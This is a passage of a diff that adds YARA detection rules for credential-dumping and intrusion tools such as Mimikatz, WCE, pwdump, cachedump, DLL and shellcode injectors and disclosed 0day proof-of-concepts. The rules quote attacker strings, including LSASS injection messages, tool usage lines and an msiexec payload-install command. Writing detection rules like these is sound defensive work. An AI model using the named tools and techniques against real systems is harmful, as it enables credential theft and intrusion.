+      id = "23cca0fe-3e4e-5b91-8b53-933de8ff264a"
+   strings:
+      $s1 = "--exec -e <process>     Execute the given process and link it to the stream." fullword ascii
+      $s2 = "Sawlog" fullword ascii
+      $s3 = "COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s" fullword ascii
+      $s4 = "COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s" fullword ascii
+      $s5 = "[Tunnel %d] connection to %s:%d closed by the server!" fullword ascii
+   condition:
+      ( ( uint16(0) == 0x457f or uint16(0) == 0x5a4d ) and filesize < 400KB and ( 2 of ($s*) ) ) or ( all of them )
+}
+
+rule WCE_in_memory {
+   meta:
+      description = "Detects Windows Credential Editor (WCE) in memory (and also on disk)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      score = 80
+      date = "2016-08-28"
+      id = "90c90ca5-e3be-5035-b35c-c2e7faec43a5"
+   strings:
+      $s1 = "wkKUSvflehHr::o:t:s:c:i:d:a:g:" fullword ascii
+      $s2 = "wceaux.dll" fullword ascii
+   condition:
+      all of them
+}
+
+rule pstgdump {
+   meta:
+      description = "Detects a tool used by APT groups - file pstgdump.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/igxLyF"
+      date = "2016-09-08"
+      hash1 = "65d48a2f868ff5757c10ed796e03621961954c523c71eac1c5e044862893a106"
+      id = "86a105a3-b5b5-58b2-99bd-ec05f31adb6b"
+   strings:
+      $x1 = "\\Release\\pstgdump.pdb" ascii
+      $x2 = "Failed to dump all protected storage items - see previous messages for details" fullword ascii
+      $x3 = "ptsgdump [-h][-q][-u Username][-p Password]" fullword ascii
+      $x4 = "Attempting to impersonate domain user '%s' in domain '%s'" fullword ascii
+      $x5 = "Failed to impersonate user (ImpersonateLoggedOnUser failed): error %d" fullword ascii
+      $x6 = "Unable to obtain handle to PStoreCreateInstance in pstorec.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule lsremora {
+   meta:
+      description = "Detects a tool used by APT groups"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/igxLyF"
+      date = "2016-09-08"
+      hash1 = "efa66f6391ec471ca52cd053159c8a8778f11f921da14e6daf76387f8c9afcd5"
+      hash2 = "e0327c1218fd3723e20acc780e20135f41abca35c35e0f97f7eccac265f4f44e"
+      id = "c15c583f-70cd-5a80-bdea-a14582097e50"
+   strings:
+      $x1 = "Target: Failed to load primary SAM functions." fullword ascii
+      $x2 = "lsremora64.dll" fullword ascii
+      $x3 = "PwDumpError:999999" fullword wide
+      $x4 = "PwDumpError" fullword wide
+      $x5 = "lsremora.dll" fullword ascii
+
+      $s1 = ":\\\\.\\pipe\\%s" fullword ascii
+      $s2 = "x%s_history_%d:%d" fullword wide
+      $s3 = "Using pipe %s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule servpw {
+   meta:
+      description = "Detects a tool used by APT groups - file servpw.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/igxLyF"
+      date = "2016-09-08"
+      hash1 = "97b39ac28794a7610ed83ad65e28c605397ea7be878109c35228c126d43e2f46"
+      hash2 = "0f340b471ef34c69f5413540acd3095c829ffc4df38764e703345eb5e5020301"
+      id = "48b9dae1-16b3-563c-ac4e-b71f3a86b38a"
+   strings:
+      $s1 = "Unable to open target process: %d, pid %d" fullword ascii
+      $s2 = "LSASS.EXE" fullword wide
+      $s3 = "WriteProcessMemory failed: %d" fullword ascii
+      $s4 = "lsremora64.dll" fullword ascii
+      $s5 = "CreateRemoteThread failed: %d" fullword ascii
+      $s6 = "Thread code: %d, path: %s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 3 of them ) or ( all of them )
+}
+
+rule fgexec {
+   meta:
+      description = "Detects a tool used by APT groups - file fgexec.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/igxLyF"
+      date = "2016-09-08"
+      hash1 = "8697897bee415f213ce7bc24f22c14002d660b8aaffab807490ddbf4f3f20249"
+      id = "8ffe47b9-81a8-5eb4-b46f-db9d23682de4"
+   strings:
+      $x1 = "\\Release\\fgexec.pdb" ascii
+      $x2 = "fgexec Remote Process Execution Tool" fullword ascii
+      $x3 = "fgexec CallNamedPipe failed" fullword ascii
+      $x4 = "fizzgig and the mighty foofus.net team" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule cachedump {
+   meta:
+      description = "Detects a tool used by APT groups - from files cachedump.exe, cachedump64.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/igxLyF"
+      date = "2016-09-08"
+      super_rule = 1
+      hash1 = "cf58ca5bf8c4f87bb67e6a4e1fb9e8bada50157dacbd08a92a4a779e40d569c4"
+      hash2 = "e38edac8c838a043d0d9d28c71a96fe8f7b7f61c5edf69f1ce0c13e141be281f"
+      id = "ebcaeb73-d2df-5a4c-9f50-b4a01293b88b"
+   strings:
+      $s1 = "Failed to open key SECURITY\\Cache in RegOpenKeyEx. Is service running as SYSTEM ? Do you ever log on domain ? " fullword ascii
+      $s2 = "Unable to open LSASS.EXE process" fullword ascii
+      $s3 = "Service not found. Installing CacheDump Service (%s)" fullword ascii
+      $s4 = "CacheDump service successfully installed." fullword ascii
+      $s5 = "Kill CacheDump service (shouldn't be used)" fullword ascii
+      $s6 = "cacheDump [-v | -vv | -K]" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 1 of them ) or ( 3 of them )
+}
+
+rule PwDump_B {
+   meta:
+      description = "Detects a tool used by APT groups - file PwDump.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/igxLyF"
+      date = "2016-09-08"
+      hash1 = "3c796092f42a948018c3954f837b4047899105845019fce75a6e82bc99317982"
+      id = "aad974f1-76bf-5aae-8376-a4fd3f27b345"
+   strings:
+      $x1 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineName" fullword ascii
+      $x2 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword ascii
+      $x3 = "where -x targets a 64-bit host" fullword ascii
+      $x4 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+
+      $s1 = "lsremora64.dll" fullword ascii
+      $s2 = "lsremora.dll" fullword ascii
+      $s3 = "servpw.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-10-07
+   Identifier: MSBuild Katz-XML
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MSBuild_Mimikatz_Execution_via_XML {
+   meta:
+      description = "Detects an XML that executes Mimikatz on an endpoint via MSBuild"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://gist.github.com/subTee/c98f7d005683e616560bda3286b6a0d8#file-katz-xml"
+      date = "2016-10-07"
+      id = "98aa68b9-6de4-5353-8d87-9e974529c044"
+   strings:
+      $x1 = "<Project ToolsVersion=" ascii
+      $x2 = "</SharpLauncher>" fullword ascii
+
+      $s1 = "\"TVqQAAMAAAA" ascii
+      $s2 = "System.Convert.FromBase64String(" ascii
+      $s3 = ".Invoke(" ascii
+      $s4 = "Assembly.Load(" ascii
+      $s5 = ".CreateInstance(" ascii
+   condition:
+      all of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-06
+   Identifier: Fscan
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Fscan_Portscanner {
+   meta:
+      description = "Fscan port scanner scan output / strings"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JamesHabben/status/817112447970480128"
+      date = "2017-01-06"
+      id = "400383dc-8bc0-5e77-a3f3-d6ba9f4c3c0f"
+   strings:
+      $s1 = "Time taken:" fullword ascii
+      $s2 = "Scan finished at" fullword ascii
+      $s3 = "Scan started at" fullword ascii
+   condition:
+      filesize < 20KB and 3 of them
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-03-15
+   Identifier: Windows Password Recovery
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WPR_loader_EXE {
+   meta:
+      description = "Windows Password Recovery - file loader.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-15"
+      hash1 = "e7d158d27d9c14a4f15a52ee5bf8aa411b35ad510b1b93f5e163ae7819c621e2"
+      id = "97fa3efb-9e7a-52ef-9e26-3fdd573d4d30"
+   strings:
+      $s1 = "Failed to get system process ID" fullword wide
+      $s2 = "gLSASS.EXE" fullword wide
+      $s3 = "WriteProcessMemory failed" fullword wide
+      $s4 = "wow64 process NOT created" fullword wide
+      $s5 = "\\ast.exe" wide
+      $s6 = "Exit code=%s, status=%d" fullword wide
+      $s7 = "VirtualProtect failed" fullword wide
+      $s8 = "nSeDebugPrivilege" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 3 of them )
+}
+
+rule WPR_loader_DLL {
+   meta:
+      description = "Windows Password Recovery - file loader64.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-15"
+      hash1 = "7b074cb99d45fc258e0324759ee970467e0f325e5d72c0b046c4142edc6776f6"
+      hash2 = "a1f27f7fd0e03601a11b66d17cfacb202eacf34f94de3c4e9d9d39ea8d1a2612"
+      id = "d3102ab6-0473-544b-b9dd-ec7a18ae1c4b"
+   strings:
+      $x1 = "loader64.dll" fullword ascii
+      $x2 = "loader.dll" fullword ascii
+
+      $s1 = "TUlDUk9TT0ZUX0FVVEhFTlRJQ0FUSU9OX1BBQ0tBR0VfVjFfMA==" fullword ascii /* base64 encoded string 'MICROSOFT_AUTHENTICATION_PACKAGE_V1_0' */
+      $s2 = "UmVtb3RlRGVza3RvcEhlbHBBc3Npc3RhbnRBY2NvdW50" fullword ascii /* base64 encoded string 'RemoteDesktopHelpAssistantAccount' */
+      $s3 = "U2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxz" fullword ascii /* base64 encoded string 'SamIRetrievePrimaryCredentials' */
+      $s4 = "VFM6SW50ZXJuZXRDb25uZWN0b3JQc3dk" fullword ascii /* base64 encoded string 'TS:InternetConnectorPswd' */
+      $s5 = "TCRVRUFjdG9yQWx0Q3JlZFByaXZhdGVLZXk=" fullword ascii /* base64 encoded string 'L$UEActorAltCredPrivateKey' */
+      $s6 = "YXNwbmV0X1dQX1BBU1NXT1JE" fullword ascii /* base64 encoded string 'aspnet_WP_PASSWORD' */
+      $s7 = "TCRBTk1fQ1JFREVOVElBTFM=" fullword ascii /* base64 encoded string 'L$ANM_CREDENTIALS' */
+      $s8 = "RGVmYXVsdFBhc3N3b3Jk" fullword ascii /* base64 encoded string 'DefaultPassword' */
+
+      $op0 = { 48 8b cd e8 e0 e8 ff ff 48 89 07 48 85 c0 74 72 } /* Opcode */
+      $op1 = { e8 ba 23 00 00 33 c9 ff 15 3e 82 } /* Opcode */
+      $op2 = { 48 83 c4 28 e9 bc 55 ff ff 48 8d 0d 4d a7 00 00 } /* Opcode */
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      (
+         ( 1 of ($x*) and 1 of ($s*) ) or
+         ( 1 of ($s*) and all of ($op*) )
+      )
+}
+
+rule WPR_Passscape_Loader {
+   meta:
+      description = "Windows Password Recovery - file ast.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-15"
+      hash1 = "f6f2d4b9f19f9311ec419f05224a1c17cf2449f2027cb7738294479eea56e9cb"
+      id = "d8e224ce-edd2-5e2d-9b6e-a8995f5d2c1c"
+   strings:
+      $s1 = "SYSTEM\\CurrentControlSet\\Services\\PasscapeLoader64" fullword wide
+      $s2 = "ast64.dll" fullword ascii
+      $s3 = "\\loader64.exe" wide
+      $s4 = "Passcape 64-bit Loader Service" fullword wide
+      $s5 = "PasscapeLoader64" fullword wide
+      $s6 = "ast64 {msg1GkjN7Sh8sg2Al7ker63f}" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule WPR_Asterisk_Hook_Library {
+   meta:
+      description = "Windows Password Recovery - file ast64.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-15"
+      hash1 = "225071140e170a46da0e57ce51f0838f4be00c8f14e9922c6123bee4dffde743"
+      hash2 = "95ec84dc709af990073495082d30309c42d175c40bd65cad267e6f103852a02d"
+      id = "03c20c9d-bb8f-53f6-9cb5-9b059fb24949"
+   strings:
+      $s1 = "ast64.dll" fullword ascii
+      $s2 = "ast.dll" fullword wide
+      $s3 = "c:\\%s.lvc" fullword ascii
+      $s4 = "c:\\%d.lvc" fullword ascii
+      $s5 = "Asterisk Hook Library" fullword wide
+      $s6 = "?Ast_StartRd64@@YAXXZ" fullword ascii
+      $s7 = "Global\\{1374821A-281B-9AF4-%04X-12345678901234}" fullword ascii
+      $s8 = "2004-2013 Passcape Software" fullword wide
+      $s9 = "Global\\Passcape#6712%04X" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them )
+}
+
+rule WPR_WindowsPasswordRecovery_EXE {
+   meta:
+      description = "Windows Password Recovery - file wpr.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-15"
+      hash1 = "c1c64cba5c8e14a1ab8e9dd28828d036581584e66ed111455d6b4737fb807783"
+      id = "7fa2062c-75dd-55aa-8775-631a9c1a497e"
+   strings:
+      $x1 = "UuPipe" fullword ascii
+      $x2 = "dbadllgl" fullword ascii
+      $x3 = "UkVHSVNUUlkgTU9O" fullword ascii /* base64 encoded string 'REGISTRY MON' */
+      $x4 = "RklMRSBNT05JVE9SIC0gU1l" fullword ascii /* base64 encoded string 'FILE MONITOR - SY' */
+
+      $s1 = "WPR.exe" fullword wide
+      $s2 = "Windows Password Recovery" fullword wide
+
+      $op0 = { 5f df 27 17 89 } /* Opcode */
+      $op1 = { 5f 00 00 f2 e5 cb 97 } /* Opcode */
+      $op2 = { e8 ed 00 f0 cc e4 00 a0 17 } /* Opcode */
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 20000KB and
+      (
+         1 of ($x*) or
+         all of ($s*) or
+         all of ($op*)
+      )
+}
+
+rule WPR_WindowsPasswordRecovery_EXE_64 {
+   meta:
+      description = "Windows Password Recovery - file ast64.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-15"
+      hash1 = "4e1ea81443b34248c092b35708b9a19e43a1ecbdefe4b5180d347a6c8638d055"
+      id = "0f6c7695-e616-5757-b9cd-8cff5f972c3e"
+   strings:
+      $s1 = "%B %d %Y  -  %H:%M:%S" fullword wide
+
+      $op0 = { 48 8d 8c 24 50 22 00 00 e8 bf eb ff ff 4c 8b c7 } /* Opcode */
+      $op1 = { ff 15 16 25 01 00 f7 d8 1b } /* Opcode */
+      $op2 = { e8 c2 26 00 00 83 20 00 83 c8 ff 48 8b 5c 24 30 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-03-17
+   Identifier: BeyondExec Remote Access Tool
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule BeyondExec_RemoteAccess_Tool {
+   meta:
+      description = "Detects BeyondExec Remote Access Tool - file rexesvr.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/BvYurS"
+      date = "2017-03-17"
+      hash1 = "3d3e3f0708479d951ab72fa04ac63acc7e5a75a5723eb690b34301580747032c"
+      id = "fd68cb45-a46f-53d7-bf52-8f7bd3636d0d"
+   strings:
+      $x1 = "\\BeyondExecV2\\Server\\Release\\Pipes.pdb" ascii
+      $x2 = "\\\\.\\pipe\\beyondexec%d-stdin" fullword ascii
+      $x3 = "Failed to create dispatch pipe. Do you have another instance running?" fullword ascii
+
+      $op1 = { 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 80 6f 40 } /* Opcode */
+      $op2 = { 6a 40 33 c0 59 bf e0 d8 40 00 f3 ab 8d 0c 52 c1 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or all of ($op*) ) ) or ( 3 of them )
+}
+
+rule Mimikatz_Gen_Strings {
+   meta:
+      description = "Detects Mimikatz by using some special strings"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-06-19"
+      super_rule = 1
+      hash1 = "058cc8b3e4e4055f3be460332a62eb4cbef41e3a7832aceb8119fd99fea771c4"
+      hash2 = "eefd4c038afa0e80cf6521c69644e286df08c0883f94245902383f50feac0f85"
+      hash3 = "f35b589c1cc1c98c4c4a5123fd217bdf0d987c00d2561992cbfb94bd75920159"
+      id = "3f4ab5d7-5a9f-55f0-9dda-e2975df582a0"
+   strings:
+      $s1 = "[*] '%s' service already started" fullword wide
+      $s2 = "** Security Callback! **" fullword wide
+      $s3 = "Try to export a software CA to a crypto (virtual)hardware" fullword wide
+      $s4 = "enterpriseadmin" fullword wide
+      $s5 = "Ask debug privilege" fullword wide
+      $s6 = "Injected =)" fullword wide
+      $s7 = "** SAM ACCOUNT **" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 12000KB and 1 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-07
+   Identifier: 0day
+   Reference: Disclosed 0day Repos
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Disclosed_0day_POCs_lpe {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      hash1 = "e10ee278f4c86d6ee1bd93a7ed71d4d59c0279381b00eb6153aedfb3a679c0b5"
+      hash2 = "a5916cefa0f50622a30c800e7f21df481d7a3e1e12083fef734296a22714d088"
+      hash3 = "5b701a5b5bbef7027711071cef2755e57984bfdff569fe99efec14a552d8ee43"
+      id = "d3693d1d-6085-5e62-8f0b-dde5b14758b7"
+   strings:
+      $x1 = "msiexec /f c:\\users\\%username%\\downloads\\" ascii
+      $x2 = "c:\\users\\%username%\\downloads\\bat.bat" fullword ascii
+      $x3 = "\\payload.msi /quiet" ascii
+      $x4 = "\\payload2\\WindowsTrustedRTProxy.sys" wide
+      $x5 = "\\payload2" wide
+      $x6 = "\\payload" wide
+      $x7 = "WindowsTrustedRTProxy.sys /grant:r administrators:RX" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 70KB and 1 of them )
+}
+
+rule Disclosed_0day_POCs_exploit {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      hash1 = "632d35a0bac27c9b2f3f485d43ebba818089cf72b3b8c4d2e87ce735b2e67d7e"
+      id = "72b8aafd-d79a-5812-90fd-5d5aca109254"
+   strings:
+      $x1 = "\\Release\\exploit.pdb" ascii
+      $x2 = "\\favorites\\stolendata.txt" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule Disclosed_0day_POCs_InjectDll {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      modified = "2022-12-21"
+      hash1 = "173d3f78c9269f44d069afbd04a692f5ae42d5fdc9f44f074599ec91e8a29aa2"
+      id = "90a4dca0-4f12-5946-9d5d-0b93bb5a3c5d"
+   strings:
+      $x1 = "\\Release\\InjectDll.pdb" ascii
+      $x2 = "Specify -l to list all IE processes running in the current session" fullword ascii
+      $x3 = "Usage: InjectDll -l|pid PathToDll" fullword ascii
+      $x4 = "Injecting DLL: %ls into PID: %d" fullword ascii
+      $x5 = "Error adjusting privilege %d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+rule Disclosed_0day_POCs_payload_MSI {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      modified = "2022-12-21"
+      hash1 = "a7c498a95850e186b7749a96004a98598f45faac2de9b93354ac93e627508a87"
+      id = "fe32af56-d5a1-5246-a7df-395b9cd02faf"
+   strings:
+      $s1 = "WShell32.dll" fullword wide
+      $s2 = "Target empty, so account name translation begins on the local system." fullword wide
+      $s3 = "\\custact\\x86\\AICustAct.pdb" ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 1000KB and all of them )
+}
+
+rule Disclosed_0day_POCs_injector {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      hash1 = "ba0e2119b2a6bad612e86662b643a404426a07444d476472a71452b7e9f94041"
+      id = "6de89a84-fe16-5064-8cbb-a3b9003f4c0c"
+   strings:
+      $x1 = "\\Release\\injector.pdb" ascii
+      $x2 = "Cannot write the shellcode in the process memory, error: " fullword ascii
+      $x3 = "/s shellcode_file PID: shellcode injection." fullword ascii
+      $x4 = "/d dll_file PID: dll injection via LoadLibrary()." fullword ascii
+      $x5 = "/s shellcode_file PID" fullword ascii
+      $x6 = "Shellcode copied in memory: OK" fullword ascii
+      $x7 = "Usage of the injector. " fullword ascii
+      $x8 = "KO: cannot obtain the SeDebug privilege." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 90KB and 1 of them ) or 3 of them
+}
+
+rule Disclosed_0day_POCs_lpe_2 {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      hash1 = "b4f3787a19b71c47bc4357a5a77ffb456e2f71fd858079d93e694a6a79f66533"
+      id = "9326bbae-81ee-588e-8581-628b47d348f8"
+   strings:
+      $s1 = "\\cmd.exe\" /k wusa c:\\users\\" ascii
+      $s2 = "D:\\gitpoc\\UAC\\src\\x64\\Release\\lpe.pdb" fullword ascii
+      $s3 = "Folder Created: " fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 700KB and 2 of them )
+}
+
+rule Disclosed_0day_POCs_shellcodegenerator {
+   meta:
+      description = "Detects POC code from disclosed 0day hacktool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Disclosed 0day Repos"
+      date = "2017-07-07"
+      hash1 = "55c4073bf8d38df7d392aebf9aed2304109d92229971ffac6e1c448986a87916"
+      id = "49250cbe-7bbd-5462-9324-1a8f350386f3"
+   strings:
+      $x1 = "\\Release\\shellcodegenerator.pdb" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 40KB and all of them )
+}
+
+rule SecurityXploded_Producer_String {
+   meta:
+      description = "Detects hacktools by SecurityXploded"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://securityxploded.com/browser-password-dump.php"
+      date = "2017-07-13"
+      score = 60
+      hash1 = "d57847db5458acabc87daee6f30173348ac5956eb25e6b845636e25f5a56ac59"
+      id = "739c4ba1-5126-51cc-a2dd-cdac2737e29a"
+   strings:
+      $x1 = "http://securityxploded.com" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and all of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-21
+   Identifier: Kekeo
+   Reference: https://github.com/gentilkiwi/kekeo/releases
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Kekeo_Hacktool {
+   meta:
+      description = "Detects Kekeo Hacktool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/gentilkiwi/kekeo/releases"
+      date = "2017-07-21"
+      hash1 = "ce92c0bcdf63347d84824a02b7a448cf49dd9f44db2d02722d01c72556a2b767"
+      hash2 = "49d7fec5feff20b3b57b26faccd50bc05c71f1dddf5800eb4abaca14b83bba8c"
+      id = "a4158da8-fc4d-5dc6-b44c-f5325b3bb8ca"
+   strings:
+      $x1 = "[ticket %u] session Key is NULL, maybe a TGT without enough rights when WCE dumped it." fullword wide
+      $x2 = "ERROR kuhl_m_smb_time ; Invalid! Command: %02x - Status: %08x" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) ) )
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-27
+   Identifier: AllTheThings
+   Reference: https://github.com/subTee/AllTheThings
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule AllTheThings {
+   meta:
+      description = "Detects AllTheThings"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/subTee/AllTheThings"
+      date = "2017-07-27"
+      modified = "2022-12-21"
+      hash1 = "5a0e9a9ce00d843ea95bd5333b6ab50cc5b1dbea648cc819cfe48482513ce842"
+      id = "c3169ca7-3482-5d55-a1d9-6d1c01349922"
+   strings:
+      $x1 = "\\obj\\Debug\\AllTheThings.pdb" ascii
+      $x2 = "AllTheThings.exe" fullword wide
+      $x3 = "\\AllTheThings.dll" ascii
+      $x4 = "Hello From Main...I Don't Do Anything" fullword wide
+      $x5 = "I am a basic COM Object" fullword wide
+      $x6 = "I shouldn't really execute either." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and 1 of them )
+}
+
+rule Impacket_Keyword {
+   meta:
+      description = "Detects Impacket Keyword in Executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-08-04"
+      score = 60
+      hash1 = "9388c78ea6a78dbea307470c94848ae2481481f593d878da7763e649eaab4068"
+      hash2 = "2f6d95e0e15174cfe8e30aaa2c53c74fdd13f9231406b7103da1e099c08be409"
+      id = "a92962e6-1b05-583b-8b06-f226bdea88e2"
+   strings:
+      $s1 = "impacket.smb(" ascii
+      $s2 = "impacket.ntlm(" ascii
+      $s3 = "impacket.nmb(" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 14000KB and 1 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-27
+   Reference: PasswordPro
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule PasswordsPro {
+   meta:
+      description = "Auto-generated rule - file PasswordsPro.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "PasswordPro"
+      date = "2017-08-27"
